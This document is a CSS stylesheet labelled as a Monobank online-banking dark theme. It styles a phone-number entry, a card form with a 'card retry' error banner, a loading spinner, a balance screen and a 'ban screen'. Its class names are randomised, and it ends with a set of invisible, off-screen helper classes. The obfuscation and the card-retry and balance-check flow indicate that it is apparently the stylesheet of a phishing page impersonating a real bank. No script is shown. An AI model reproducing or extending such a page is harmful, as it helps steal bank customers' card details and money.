/* Monobank Online Banking - Dark Theme */
* {
    margin: 0;
    padding: 0;
    box-sizing: border-box;
}

body {
    font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
    background-color: #000;
    color: #fff;
    min-height: 100vh;
    overflow-x: hidden;
}

/* Header */
header {
    position: fixed;
    top: 0;
    left: 0;
    right: 0;
    z-index: 100;
    background: rgba(0, 0, 0, 0.85);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    border-bottom: 1px solid rgba(255, 255, 255, 0.08);
}

.whfvn {
    display: flex;
    align-items: center;
    justify-content: space-between;
    padding: 14px 20px;
    max-width: 480px;
    margin: 0 auto;
}

.x7ha1db {
    display: flex;
    align-items: center;
    gap: 10px;
}

.fqodi8or7 {
    flex-shrink: 0;
}

.wesnag6j {
    font-size: 20px;
    font-weight: 700;
    color: #fff;
    letter-spacing: -0.5px;
}

/* Screens */
.x5gqvvhf {
    display: none;
}

.x5gqvvhf.active {
    display: block;
}

/* Main Content */
.o6fe27it17 {
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    min-height: 100vh;
    padding: 80px 16px 32px;
}

/* Card */
.v5d6d3dl6 {
    width: 100%;
    max-width: 400px;
    background: #1a1a2e;
    border-radius: 20px;
    padding: 32px 24px;
    border: 1px solid rgba(255, 255, 255, 0.06);
}

.b62qyd {
    font-size: 22px;
    font-weight: 700;
    text-align: center;
    margin-bottom: 8px;
    color: #fff;
    line-height: 1.3;
}

.b4fo7je {
    font-size: 14px;
    color: rgba(255, 255, 255, 0.5);
    text-align: center;
    margin-bottom: 28px;
    line-height: 1.4;
}

/* Input Group */
.i9hsawvjn1 {
    margin-bottom: 16px;
}

.i9hsawvjn1.half {
    flex: 1;
}

.igjdawe7 {
    display: flex;
    gap: 12px;
    margin-bottom: 0;
}

/* Input Wrapper */
.qejwz {
    position: relative;
    background: #0d0d1a;
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 12px;
    padding: 14px 16px;
    transition: border-color 0.2s;
}

.qejwz:focus-within {
    border-color: rgba(255, 255, 255, 0.3);
}

.xqoio9r8fs {
    position: absolute;
    top: 50%;
    left: 16px;
    transform: translateY(-50%);
    font-size: 15px;
    color: rgba(255, 255, 255, 0.35);
    pointer-events: none;
    transition: all 0.2s ease;
}

.qejwz.filled .xqoio9r8fs,
.qejwz:focus-within .xqoio9r8fs {
    top: 8px;
    transform: translateY(0);
    font-size: 11px;
    color: rgba(255, 255, 255, 0.45);
}

.qejwz.filled,
.qejwz:focus-within {
    padding: 20px 16px 8px;
}

.sv79jp {
    width: 100%;
    background: transparent;
    border: none;
    outline: none;
    color: #fff;
    font-size: 17px;
    font-family: inherit;
    font-weight: 500;
}

/* Fix: hide placeholder when floating label is visible (not focused/filled) */
.sv79jp::placeholder {
    color: transparent;
    transition: color 0.2s ease;
}
.qejwz:focus-within .sv79jp::placeholder,
.qejwz.filled .sv79jp::placeholder {
    color: rgba(255, 255, 255, 0.2);
}

/* Phone Input */
.phone-input-wrapper {
    display: flex;
    align-items: center;
    background: #0d0d1a;
    border: 1px solid rgba(255, 255, 255, 0.1);
    border-radius: 12px;
    padding: 14px 16px;
    transition: border-color 0.2s;
}

.phone-input-wrapper:focus-within {
    border-color: rgba(255, 255, 255, 0.3);
}

.phone-prefix {
    display: flex;
    align-items: center;
    font-size: 17px;
    font-weight: 500;
    color: #fff;
    white-space: nowrap;
    margin-right: 8px;
    user-select: none;
}

.phone-field {
    flex: 1;
    min-width: 0;
}

/* Error Messages */
.dreqn0 {
    font-size: 13px;
    color: #ff4444;
    margin-top: 6px;
    min-height: 0;
    max-height: 0;
    overflow: hidden;
    transition: all 0.3s;
    padding-left: 4px;
}

.dreqn0.visible {
    max-height: 40px;
    margin-top: 8px;
}

/* Error Banner (for card retry) */
.lbsekwux6 {
    display: flex;
    align-items: center;
    gap: 10px;
    background: rgba(255, 68, 68, 0.1);
    border: 1px solid rgba(255, 68, 68, 0.25);
    border-radius: 12px;
    padding: 14px 16px;
    margin-bottom: 20px;
}

.lbsekwux6 span {
    font-size: 14px;
    color: #ff4444;
    line-height: 1.4;
    font-weight: 500;
}

/* Primary Button */
.aix90tms8z {
    width: 100%;
    padding: 16px;
    border: none;
    border-radius: 12px;
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    background: #fff;
    color: #000;
    transition: all 0.2s;
    margin-top: 8px;
    font-family: inherit;
}

.aix90tms8z:hover:not(.disabled) {
    background: #e8e8e8;
}

.aix90tms8z:active:not(.disabled) {
    transform: scale(0.98);
}

.aix90tms8z.disabled {
    opacity: 0.3;
    cursor: not-allowed;
    pointer-events: all;
}

/* Loading */
.q07wgpn {
    background: transparent;
    border: none;
}

.ho47o2pyb {
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 60px 0;
}

.spinner {
    width: 48px;
    height: 48px;
    border: 3px solid rgba(255, 255, 255, 0.1);
    border-top-color: #fff;
    border-radius: 50%;
    animation: spin 0.8s linear infinite;
    margin-bottom: 24px;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}

.mjh6iog6f {
    font-size: 16px;
    color: rgba(255, 255, 255, 0.8);
    margin-bottom: 6px;
}

.su3g7nu6r {
    font-size: 13px;
    color: rgba(255, 255, 255, 0.35);
}

/* Balance Screen */
.gkplql27t {
    text-align: center;
}

.znrdvimj {
    margin-bottom: 28px;
}

.sc67z0m {
    margin-bottom: 16px;
}

.zplgtg7iy {
    background: #0d0d1a;
    border-radius: 14px;
    padding: 20px;
}

.d7pimbqlg7 {
    display: flex;
    justify-content: space-between;
    align-items: center;
}

.l67v4xafr {
    font-size: 14px;
    color: rgba(255, 255, 255, 0.5);
}

.gzkx0 {
    font-size: 22px;
    font-weight: 700;
    color: #4cd964;
}

/* Ban Screen */
#banScreen {
    display: none;
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 9999;
    background: #000;
}

/* Shake animation */
@keyframes shake {
    0%, 100% { transform: translateX(0); }
    20% { transform: translateX(-6px); }
    40% { transform: translateX(6px); }
    60% { transform: translateX(-4px); }
    80% { transform: translateX(4px); }
}

.shake {
    animation: shake 0.3s ease-in-out;
}

/* Mobile adjustments */
@media (max-width: 480px) {
    .o6fe27it17 {
        padding: 72px 12px 24px;
    }

    .v5d6d3dl6 {
        padding: 24px 18px;
        border-radius: 16px;
    }

    .b62qyd {
        font-size: 20px;
    }
}


/* Utility helpers */
.ecax0n7np { pointer-events: none; opacity: 0; z-index: -999; }
.dzt70rl32zgx { width: 0; z-index: -999; visibility: hidden; }
.zttppquu { position: absolute; overflow: hidden; }
.ebtmk5yvdb { background: transparent; left: -9999px; pointer-events: none; }
.ak1067q0x { color: transparent; pointer-events: none; opacity: 0; }
.ghwvb7gq { pointer-events: none; opacity: 0; }
.m2n8zg2g86u { height: 0; width: 0; pointer-events: none; }
.phwh1yzbzz { font-size: 0; z-index: -999; background: transparent; }
.g89pz4rosu4 { height: 0; opacity: 0; }